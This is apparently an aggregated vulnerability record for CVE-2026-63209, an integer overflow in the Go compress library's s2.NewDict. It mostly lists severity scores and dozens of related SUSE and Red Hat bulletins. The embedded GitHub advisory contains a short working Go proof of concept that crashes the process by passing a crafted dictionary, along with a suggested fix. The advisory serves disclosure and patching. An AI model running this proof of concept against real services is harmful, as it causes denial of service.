GHSA-259r-337f-4rfwPublished

Integer Overflow or Wraparound and Out-of-bounds Write in compress

Collected exploitation and prediction evidence

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

cve-program · CVE-2026-63209

Published

compress provides various compression algorithms. Prior to version 1.18.7, a signed integer overflow vulnerability in s2.NewDict() allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding MaxInt64. When Dict.Encode() is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via unsafe.Pointer arithmetic, crashing the process with SIGSEGV. This issue has been patched in version 1.18.7.

Source published: 29 Sep 2026 14:58:53 UTC
Source modified: 29 Sep 2026 16:32:32 UTC
Observed here: 23 Oct 2026 15:48:27 UTC
Source terms: CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

euvd · EUVD-2026-88977

Published

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Sep 29, 2026, 2:58:53 PM

dateUpdated: Sep 29, 2026, 4:32:32 PM

68 related source bulletins · separate from aliases

SUSE-SU-2026:24277-1: Security update for google-osconfig-agent

CVE-2026-63209

openSUSE-SU-2026:22134-1: Security update for gh

CVE-2026-41178 · CVE-2026-59831 · CVE-2026-63209 · CVE-2026-72924 · CVE-2026-78669 · CVE-2026-84303 · CVE-2026-84304 · CVE-2026-84445

openSUSE-SU-2026:22116-1: Security update for hauler

CVE-2026-53495 · CVE-2026-63209

RHSA-2026:92303: Red Hat Security Advisory: multicluster engine for Kubernetes v2.8.12 security update

CVE-2026-33818 · CVE-2026-39822 · CVE-2026-39834 · CVE-2026-56853 · CVE-2026-56858 · CVE-2026-56859 · CVE-2026-56860 · CVE-2026-56862 · CVE-2026-63209 · CVE-2026-84304 · CVE-2026-93748 · CVE-2026-106445 · CVE-2026-106446

RHSA-2026:68806: Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update

CVE-2026-63209 · CVE-2026-71557

openSUSE-SU-2026:11939-1: amazon-cloudwatch-agent-1.300073.0-1.1 on GA media

CVE-2026-63209

RHSA-2026:92994: Red Hat Security Advisory: OpenShift Container Platform 4.21.41 bug fix and security update

CVE-2026-33814 · CVE-2026-39825 · CVE-2026-63209

SUSE-SU-2026:24153-1: Security update for distribution

CVE-2026-63209

SUSE-SU-2026:24120-1: Security update for helm

CVE-2026-63209 · CVE-2026-81870 · CVE-2026-85732

RHSA-2026:68717: Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update

CVE-2026-56851 · CVE-2026-63209 · CVE-2026-81871 · CVE-2026-81872 · CVE-2026-93450

RHSA-2026:72493: Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update

CVE-2024-24786 · CVE-2026-63209 · CVE-2026-93450

RHSA-2026:70726: Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update

CVE-2026-63209

RHSA-2026:89198: Red Hat Security Advisory: OpenShift Container Platform 4.22.20 bug fix and security update

CVE-2026-33814 · CVE-2026-39821 · CVE-2026-42502 · CVE-2026-63209 · CVE-2026-93017 · CVE-2026-104795 · CVE-2026-107176 · CVE-2026-111943

openSUSE-SU-2026:11957-1: distribution-registry-3.1.1-9.1 on GA media

CVE-2026-63209

RHSA-2026:72570: Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update

CVE-2024-24786 · CVE-2026-21729 · CVE-2026-56851 · CVE-2026-63209 · CVE-2026-93450

RHSA-2026:79368: Red Hat Security Advisory: Red Hat OpenShift distributed tracing platform (Tempo) 3.11.2 release

CVE-2026-63209 · CVE-2026-83663 · CVE-2026-84445 · CVE-2026-94637

RHSA-2026:72498: Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update

CVE-2026-61709 · CVE-2026-63209 · CVE-2026-93450 · CVE-2026-102422

RHSA-2026:68729: Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update

CVE-2026-56851 · CVE-2026-63209 · CVE-2026-81871 · CVE-2026-81872 · CVE-2026-93450

openSUSE-SU-2026:12186-1: rqlite-10.6.1-1.1 on GA media

CVE-2026-63209 · CVE-2026-84304 · CVE-2026-84445 · CVE-2026-89090

RHSA-2026:72496: Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update

CVE-2024-24786 · CVE-2026-56851 · CVE-2026-63209 · CVE-2026-93450

RHSA-2026:92510: Red Hat Security Advisory: RHOAI 3.4.6 - Red Hat OpenShift AI

CVE-2023-54404 · CVE-2026-11822 · CVE-2026-11824 · CVE-2026-13717 · CVE-2026-16221 · CVE-2026-17106 · CVE-2026-18446 · CVE-2026-25681 · CVE-2026-26007 · CVE-2026-27136 · CVE-2026-33814 · CVE-2026-33818 · CVE-2026-39821 · CVE-2026-39834 · CVE-2026-41178 · CVE-2026-42502 · CVE-2026-45819 · CVE-2026-45820 · CVE-2026-56853 · CVE-2026-56858 · CVE-2026-56859 · CVE-2026-56860 · CVE-2026-56862 · CVE-2026-57516 · CVE-2026-59951 · CVE-2026-63209 · CVE-2026-63374 · CVE-2026-65898 · CVE-2026-67312 · CVE-2026-67314 · CVE-2026-67320 · CVE-2026-67321 · CVE-2026-69097 · CVE-2026-69153 · CVE-2026-73086 · CVE-2026-73088 · CVE-2026-73089 · CVE-2026-73643 · CVE-2026-75838 · CVE-2026-75899 · CVE-2026-75931 · CVE-2026-75975 · CVE-2026-76172 · CVE-2026-76844 · CVE-2026-77301 · CVE-2026-78679 · CVE-2026-82397 · CVE-2026-83663 · CVE-2026-84375 · CVE-2026-84445 · CVE-2026-85393 · CVE-2026-85525 · CVE-2026-87018 · CVE-2026-90711 · CVE-2026-91990 · CVE-2026-92599 · CVE-2026-93690 · CVE-2026-93749 · CVE-2026-94637 · CVE-2026-96640 · CVE-2026-96643 · CVE-2026-96644 · CVE-2026-96778 · CVE-2026-96804 · CVE-2026-97687 · CVE-2026-97689 · CVE-2026-102267 · CVE-2026-102271 · CVE-2026-102272 · CVE-2026-102276 · CVE-2026-102278 · CVE-2026-102282 · CVE-2026-104150 · CVE-2026-104851 · CVE-2026-105922 · CVE-2026-106445 · CVE-2026-106446 · CVE-2026-109156 · CVE-2026-109383 · CVE-2026-109527 · CVE-2026-109829 · CVE-2026-109869 · CVE-2026-109956 · CVE-2026-110856 · CVE-2026-110857 · CVE-2026-110858 · CVE-2026-110859 · CVE-2026-111064 · CVE-2026-111066 · CVE-2026-111497 · CVE-2026-112390 · CVE-2026-112391 · CVE-2026-112392 · CVE-2026-112397 · CVE-2026-112399 · CVE-2026-112400 · CVE-2026-112402 · CVE-2026-112404 · CVE-2026-112405 · CVE-2026-112893 · CVE-2026-112894 · CVE-2026-112895 · CVE-2026-112896 · CVE-2026-112897 · CVE-2026-112940 · CVE-2026-114145

openSUSE-SU-2026:11955-1: cadvisor-0.60.6-1.1 on GA media

CVE-2026-63209

openSUSE-SU-2026:12163-1: gh-2.102.0-1.1 on GA media

CVE-2026-41178 · CVE-2026-59831 · CVE-2026-63209 · CVE-2026-72924 · CVE-2026-78669 · CVE-2026-84304 · CVE-2026-84445

openSUSE-SU-2026:22117-1: Security update for cadvisor

CVE-2026-63209

RHSA-2026:70670: Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update

CVE-2026-63209

openSUSE-SU-2026:11964-1: helm3-3.22.0-3.1 on GA media

CVE-2026-63209

RHSA-2026:54419: Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update

CVE-2026-63209

RHSA-2026:92307: Red Hat Security Advisory: Red Hat Advanced Cluster Management for Kubernetes v2.13.14 security update

CVE-2026-14199 · CVE-2026-15815 · CVE-2026-33818 · CVE-2026-37236 · CVE-2026-39834 · CVE-2026-56853 · CVE-2026-56854 · CVE-2026-56858 · CVE-2026-56859 · CVE-2026-56860 · CVE-2026-56862 · CVE-2026-63209 · CVE-2026-77354 · CVE-2026-77405 · CVE-2026-77411 · CVE-2026-84304 · CVE-2026-84375 · CVE-2026-84445 · CVE-2026-88031 · CVE-2026-93748 · CVE-2026-106445 · CVE-2026-106446

RHSA-2026:68272: Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update

CVE-2026-63209 · CVE-2026-81872 · CVE-2026-93450

SUSE-SU-2026:24282-1: Security update for helm

CVE-2026-33814 · CVE-2026-35204 · CVE-2026-35205 · CVE-2026-35206 · CVE-2026-41178 · CVE-2026-41888 · CVE-2026-48978 · CVE-2026-50151 · CVE-2026-50163 · CVE-2026-56852 · CVE-2026-56854 · CVE-2026-56855 · CVE-2026-56864 · CVE-2026-56865 · CVE-2026-63209 · CVE-2026-78662 · CVE-2026-81870 · CVE-2026-81871 · CVE-2026-81872 · CVE-2026-85732

SUSE-SU-2026:24247-1: Security update for helm

CVE-2026-63209 · CVE-2026-81870 · CVE-2026-85732

openSUSE-SU-2026:11961-1: google-osconfig-agent-20260928.01-1.1 on GA media

CVE-2026-63209

RHSA-2026:87410: Red Hat Security Advisory: RHOAI 2.25.12 - Red Hat OpenShift AI

CVE-2024-12224 · CVE-2025-14920 · CVE-2025-14921 · CVE-2025-14924 · CVE-2025-14925 · CVE-2025-14926 · CVE-2025-14927 · CVE-2025-14928 · CVE-2025-14929 · CVE-2025-14930 · CVE-2025-61726 · CVE-2025-61729 · CVE-2026-5241 · CVE-2026-5497 · CVE-2026-6734 · CVE-2026-8643 · CVE-2026-9697 · CVE-2026-11822 · CVE-2026-11824 · CVE-2026-12151 · CVE-2026-12860 · CVE-2026-15143 · CVE-2026-15574 · CVE-2026-15679 · CVE-2026-15925 · CVE-2026-16221 · CVE-2026-18427 · CVE-2026-18446 · CVE-2026-18949 · CVE-2026-19481 · CVE-2026-19484 · CVE-2026-19534 · CVE-2026-25681 · CVE-2026-25960 · CVE-2026-27136 · CVE-2026-28390 · CVE-2026-28684 · CVE-2026-31812 · CVE-2026-32283 · CVE-2026-33186 · CVE-2026-33805 · CVE-2026-33811 · CVE-2026-33814 · CVE-2026-34993 · CVE-2026-39821 · CVE-2026-39852 · CVE-2026-39892 · CVE-2026-40682 · CVE-2026-41178 · CVE-2026-42502 · CVE-2026-42561 · CVE-2026-44431 · CVE-2026-44432 · CVE-2026-44660 · CVE-2026-44705 · CVE-2026-45820 · CVE-2026-47219 · CVE-2026-48526 · CVE-2026-48710 · CVE-2026-48746 · CVE-2026-49114 · CVE-2026-49825 · CVE-2026-49855 · CVE-2026-50559 · CVE-2026-54283 · CVE-2026-54399 · CVE-2026-54428 · CVE-2026-55831 · CVE-2026-55833 · CVE-2026-56121 · CVE-2026-56746 · CVE-2026-56819 · CVE-2026-56853 · CVE-2026-56858 · CVE-2026-56859 · CVE-2026-56860 · CVE-2026-56862 · CVE-2026-58059 · CVE-2026-59296 · CVE-2026-59879 · CVE-2026-59884 · CVE-2026-59885 · CVE-2026-59886 · CVE-2026-59899 · CVE-2026-62243 · CVE-2026-62384 · CVE-2026-63209 · CVE-2026-63374 · CVE-2026-65898 · CVE-2026-65918 · CVE-2026-66007 · CVE-2026-67213 · CVE-2026-67214 · CVE-2026-67312 · CVE-2026-68494 · CVE-2026-68497 · CVE-2026-68770 · CVE-2026-69097 · CVE-2026-69112 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-69243 · CVE-2026-69244 · CVE-2026-71281 · CVE-2026-73086 · CVE-2026-73088 · CVE-2026-73089 · CVE-2026-73415 · CVE-2026-73417 · CVE-2026-73502 · CVE-2026-73508 · CVE-2026-73620 · CVE-2026-73622 · CVE-2026-73623 · CVE-2026-73624 · CVE-2026-73625 · CVE-2026-73627 · CVE-2026-73646 · CVE-2026-75838 · CVE-2026-75899 · CVE-2026-75931 · CVE-2026-75975 · CVE-2026-76098 · CVE-2026-76169 · CVE-2026-76172 · CVE-2026-76222 · CVE-2026-76905 · CVE-2026-77354 · CVE-2026-77874 · CVE-2026-78676 · CVE-2026-78677 · CVE-2026-78679 · CVE-2026-78682 · CVE-2026-79674 · CVE-2026-79675 · CVE-2026-80205 · CVE-2026-81722 · CVE-2026-81724 · CVE-2026-81727 · CVE-2026-82397 · CVE-2026-82417 · CVE-2026-84292 · CVE-2026-84375 · CVE-2026-84394 · CVE-2026-84428 · CVE-2026-84445 · CVE-2026-84469 · CVE-2026-84504 · CVE-2026-84782 · CVE-2026-84961 · CVE-2026-85124 · CVE-2026-85152 · CVE-2026-85525 · CVE-2026-86049 · CVE-2026-86332 · CVE-2026-87776 · CVE-2026-87817 · CVE-2026-87819 · CVE-2026-88029 · CVE-2026-88031 · CVE-2026-89418 · CVE-2026-89425 · CVE-2026-91777 · CVE-2026-91990 · CVE-2026-92599 · CVE-2026-93599 · CVE-2026-93657 · CVE-2026-93749 · CVE-2026-96749 · CVE-2026-102831 · CVE-2026-102925 · CVE-2026-102930 · CVE-2026-102937 · CVE-2026-102938 · CVE-2026-103262 · CVE-2026-104851 · CVE-2026-105744

RHSA-2026:86891: Red Hat Security Advisory: RHOAI 3.5.2 - Red Hat OpenShift AI

CVE-2024-14029 · CVE-2026-13697 · CVE-2026-15679 · CVE-2026-15789 · CVE-2026-18427 · CVE-2026-19534 · CVE-2026-37237 · CVE-2026-49825 · CVE-2026-49855 · CVE-2026-54284 · CVE-2026-56859 · CVE-2026-59296 · CVE-2026-59893 · CVE-2026-62243 · CVE-2026-62384 · CVE-2026-63209 · CVE-2026-63374 · CVE-2026-66007 · CVE-2026-68494 · CVE-2026-68497 · CVE-2026-69097 · CVE-2026-69112 · CVE-2026-69152 · CVE-2026-69243 · CVE-2026-69244 · CVE-2026-71281 · CVE-2026-71491 · CVE-2026-73417 · CVE-2026-73502 · CVE-2026-73508 · CVE-2026-73646 · CVE-2026-75838 · CVE-2026-75899 · CVE-2026-75931 · CVE-2026-75975 · CVE-2026-76098 · CVE-2026-76169 · CVE-2026-76172 · CVE-2026-76222 · CVE-2026-76905 · CVE-2026-77354 · CVE-2026-77874 · CVE-2026-78676 · CVE-2026-78677 · CVE-2026-78679 · CVE-2026-78682 · CVE-2026-79674 · CVE-2026-79675 · CVE-2026-80205 · CVE-2026-81722 · CVE-2026-81724 · CVE-2026-81725 · CVE-2026-81726 · CVE-2026-81727 · CVE-2026-82397 · CVE-2026-82417 · CVE-2026-84292 · CVE-2026-84375 · CVE-2026-84381 · CVE-2026-84382 · CVE-2026-84394 · CVE-2026-84428 · CVE-2026-84445 · CVE-2026-84469 · CVE-2026-84504 · CVE-2026-84782 · CVE-2026-84961 · CVE-2026-85124 · CVE-2026-85152 · CVE-2026-85525 · CVE-2026-86332 · CVE-2026-87776 · CVE-2026-87817 · CVE-2026-87819 · CVE-2026-88029 · CVE-2026-88031 · CVE-2026-89425 · CVE-2026-91990 · CVE-2026-93348 · CVE-2026-93599 · CVE-2026-93657 · CVE-2026-93749 · CVE-2026-96749 · CVE-2026-96775 · CVE-2026-102925 · CVE-2026-102930 · CVE-2026-102937 · CVE-2026-102938 · CVE-2026-102990 · CVE-2026-104851 · CVE-2026-104852 · CVE-2026-104861 · CVE-2026-104873

RHSA-2026:70031: Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update

CVE-2026-63209

openSUSE-SU-2026:22140-1: Security update for aliyun-cli

CVE-2026-63209

RHSA-2026:68808: Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update

CVE-2026-63209 · CVE-2026-71557

openSUSE-SU-2026:22227-1: Security update for go-containerregistry

CVE-2025-22868 · CVE-2026-116591 · CVE-2026-63209

SUSE-SU-2026:24131-1: Security update for google-osconfig-agent

CVE-2026-63209

RHSA-2026:83013: Red Hat Security Advisory: Logging for Red Hat OpenShift - 6.0.17

CVE-2026-18140 · CVE-2026-25681 · CVE-2026-27136 · CVE-2026-29181 · CVE-2026-32283 · CVE-2026-32285 · CVE-2026-33186 · CVE-2026-33818 · CVE-2026-35469 · CVE-2026-41178 · CVE-2026-42151 · CVE-2026-42154 · CVE-2026-42499 · CVE-2026-42502 · CVE-2026-46600 · CVE-2026-56852 · CVE-2026-56853 · CVE-2026-56858 · CVE-2026-56859 · CVE-2026-56860 · CVE-2026-56862 · CVE-2026-63209 · CVE-2026-84445

RHSA-2026:95081: Red Hat Security Advisory: Cluster Observability Operator - 1.5

CVE-2026-19534 · CVE-2026-27145 · CVE-2026-33818 · CVE-2026-39821 · CVE-2026-39822 · CVE-2026-39834 · CVE-2026-42504 · CVE-2026-56853 · CVE-2026-56858 · CVE-2026-56859 · CVE-2026-56860 · CVE-2026-56862 · CVE-2026-63209 · CVE-2026-75838 · CVE-2026-75899 · CVE-2026-75931 · CVE-2026-75975 · CVE-2026-76172 · CVE-2026-77301 · CVE-2026-82417 · CVE-2026-84292 · CVE-2026-84304 · CVE-2026-84375 · CVE-2026-84445 · CVE-2026-84961 · CVE-2026-85152 · CVE-2026-87018 · CVE-2026-102276 · CVE-2026-102278 · CVE-2026-109383 · CVE-2026-109829 · CVE-2026-109855 · CVE-2026-109869

SUSE-SU-2026:24261-1: Security update for aliyun-cli

CVE-2026-63209

RHSA-2026:72491: Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update

CVE-2026-63209 · CVE-2026-93450

RHSA-2026:72507: Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update

CVE-2026-63209 · CVE-2026-81842 · CVE-2026-93450 · CVE-2026-102422

RHSA-2026:54413: Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update

CVE-2026-63209

openSUSE-SU-2026:22224-1: Security update for rqlite

CVE-2026-39821 · CVE-2026-63209 · CVE-2026-84303 · CVE-2026-84304 · CVE-2026-84445 · CVE-2026-89090

RHSA-2026:92593: Red Hat Security Advisory: Logging for Red Hat OpenShift - 6.6.2

CVE-2026-41178 · CVE-2026-42499 · CVE-2026-63209 · CVE-2026-77619 · CVE-2026-84304 · CVE-2026-84445

openSUSE-SU-2026:22039-1: Security update for distribution

CVE-2026-63209

RHSA-2026:58472: Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update

CVE-2026-56851 · CVE-2026-63209

RHSA-2026:94498: Red Hat Security Advisory: Red Hat OpenShift API for Data Protection - 1.4.12

CVE-2026-27145 · CVE-2026-32283 · CVE-2026-33818 · CVE-2026-39821 · CVE-2026-39833 · CVE-2026-39834 · CVE-2026-41178 · CVE-2026-42504 · CVE-2026-56852 · CVE-2026-56853 · CVE-2026-56858 · CVE-2026-56859 · CVE-2026-56860 · CVE-2026-56862 · CVE-2026-63209 · CVE-2026-84445

RHSA-2026:72492: Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update

CVE-2026-63209 · CVE-2026-93450 · CVE-2026-104994

RHSA-2026:70684: Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update

CVE-2026-63209

RHSA-2026:92515: Red Hat Security Advisory: Logging for Red Hat OpenShift - 6.6.2

CVE-2026-41178 · CVE-2026-42499 · CVE-2026-63209 · CVE-2026-77619 · CVE-2026-84304 · CVE-2026-84445

openSUSE-SU-2026:22057-1: Security update for helm

CVE-2026-63209 · CVE-2026-81870 · CVE-2026-85732

RHSA-2026:72497: Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update

CVE-2026-9496 · CVE-2026-63209 · CVE-2026-93450

openSUSE-SU-2026:11962-1: hauler-2.1.1-1.1 on GA media

CVE-2026-63209

RHSA-2026:68591: Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update

CVE-2026-63209 · CVE-2026-81872 · CVE-2026-93450

openSUSE-SU-2026:11960-1: crane-0.22.1-2.1 on GA media

CVE-2026-63209

openSUSE-SU-2026:11953-1: aliyun-cli-3.5.1-2.1 on GA media

CVE-2026-63209

SUSE-SU-2026:24222-1: Security update for google-osconfig-agent

CVE-2026-63209

RHSA-2026:72490: Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update

CVE-2026-63209 · CVE-2026-93450

msrc_CVE-2026-63209: Integer Overflow or Wraparound and Out-of-bounds Write in compress

CVE-2026-63209

openSUSE-SU-2026:12114-1: alloy-1.20.1-1.1 on GA media

CVE-2026-14362 · CVE-2026-63209 · CVE-2026-81871 · CVE-2026-81872 · CVE-2026-84303 · CVE-2026-84304 · CVE-2026-84445

openSUSE-SU-2026:22078-1: Security update for google-osconfig-agent

CVE-2026-63209

RHSA-2026:68290: Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update

CVE-2026-63209 · CVE-2026-77403 · CVE-2026-77404 · CVE-2026-77406 · CVE-2026-77407 · CVE-2026-77409 · CVE-2026-77410 · CVE-2026-77412 · CVE-2026-81872 · CVE-2026-93450

SUSE-SU-2026:4554-1: Security update for google-osconfig-agent

CVE-2026-63209

openSUSE-SU-2026:11963-1: helm-4.3.0-4.1 on GA media

CVE-2026-63209 · CVE-2026-81870

RHSA-2026:68256: Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update

CVE-2026-63209

Source published: Sep 29, 2026, 2:58:53 PM (timezone not stated)
Source modified: Sep 29, 2026, 4:32:32 PM (timezone not stated)
Observed here: 7 Nov 2026 13:29:09 UTC
Source terms: ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

nvd · CVE-2026-63209

Published

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Deferred

Weakness classifications: CWE-190 · CWE-787

Original publisher date fields

published: 2026-09-29T15:17:27.130

lastModified: 2026-09-30T19:57:08.043

Source published: 29 Sep 2026 15:17:27 UTC
Source modified: 30 Sep 2026 19:57:08 UTC
Observed here: 25 Oct 2026 14:19:28 UTC
Source terms: NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

osv · GHSA-259r-337f-4rfw

Published

# Signed Integer Overflow in s2.NewDict ## Summary A signed integer overflow vulnerability in `s2.NewDict()` allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding `MaxInt64`. When `Dict.Encode()` is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via `unsafe.Pointer` arithmetic, crashing the process with SIGSEGV. ## Package - **Name:** `github.com/klauspost/compress/s2` - **Ecosystem:** Go - **Affected versions:** <= v1.18.6 (all versions with `NewDict` function) ## Severity **High (7.5)** — CVSS v3.1: `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` ## Vulnerability ### Type - CWE-190: Integer Overflow or Wraparound - CWE-787: Out-of-bounds Write (via unsafe.Pointer) ### Description The `NewDict()` function reads a uvarint from dictionary data and converts it to `int`: ```go r, n := binary.Uvarint(dict) // ... d.repeat = int(r) if d.repeat > len(dict) { return nil } ``` When `r` exceeds `MaxInt64` (9223372036854775807), `int(r)` overflows to a negative value. Since a negative number is never greater than a positive length, the validation check is bypassed. When `Dict.Encode()` is called, the negative `repeat` value causes an integer overflow in `encodeBlockDictGo()`: ```go repeat := len(dict.dict) - dict.repeat // overflows: 62 - (-5758978476775341977) = huge positive candidate := len(dict.dict) - repeat + s // underflows to negative load32(dict.dict, candidate) // OOB via unsafe.Pointer ``` `load32` calls `le.Load32` which uses `unsafe.Pointer` arithmetic without bounds checking: ```go func Load32[I Indexer](b []byte, i I) uint32 { return *(*uint32)(unsafe.Add(unsafe.Pointer(unsafe.SliceData(b)), i)) } ``` This causes a segmentation fault (SIGSEGV) when the negative index is dereferenced. ## PoC ```go package main import ( "encoding/binary" "fmt" "github.com/klauspost/compress/s2" ) func main() { var dictData []byte buf := make([]byte, binary.MaxVarintLen64) n := binary.PutUvarint(buf, 12687765596934209639) // > MaxInt64 dictData = append(dictData, buf[:n]...) dictData = append(dictData, make([]byte, 16)...) // minimum dict size dict := s2.NewDict(dictData) // dict is non-nil despite invalid repeat value (overflow bypassed validation) src := make([]byte, 64) for i := range src { src[i] = byte(i) } dict.Encode(nil, src) // SIGSEGV: OOB access via unsafe.Pointer } ``` ## Impact - **Denial of Service:** The process crashes immediately with SIGSEGV ## Attack Vector Any application that: 1. Accepts user-supplied S2 dictionary data via `s2.NewDict()` 2. Calls `Dict.Encode()` on any data ≥32 bytes ## Suggested Fix Validate the uvarint value before converting to int: ```go if r > math.MaxInt64 { return nil } d.repeat = int(r) ``` Or use `uint` for the repeat field and validate against `uint(len(dict))`. ## References - Source: `s2/dict.go` lines 59-61 (vulnerability), `s2/encode_all.go` line 947 (crash site) - Commit: 539243b (v1.18.6 + 4 commits) ## Credits Christopher Linke / https://github.com/celinke97/

Source published: 20 Oct 2026 14:33:33 UTC
Source modified: 20 Oct 2026 14:45:03 UTC
Observed here: 24 Oct 2026 13:19:41 UTC
Source terms: GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Publisher rating · HIGH

osv · GO-2026-5841

Published

Providing a specially crafted dictionary to s2.NewDict and using it to encode data can make the encoder read out of bounds.

Source published: 27 Jul 2026 16:16:22 UTC
Source modified: 30 Sep 2026 03:55:34 UTC
Observed here: 24 Oct 2026 13:19:41 UTC
Source terms: OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.